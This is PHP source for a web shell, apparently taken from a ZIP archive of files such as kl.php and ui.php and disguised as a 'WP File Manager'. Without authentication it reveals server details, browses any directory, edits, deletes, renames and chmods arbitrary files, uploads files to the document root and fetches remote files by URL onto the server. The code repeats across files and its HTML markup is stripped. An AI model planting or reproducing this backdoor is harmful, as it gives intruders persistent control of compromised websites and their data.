green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëno-reply@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëno-reply@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like 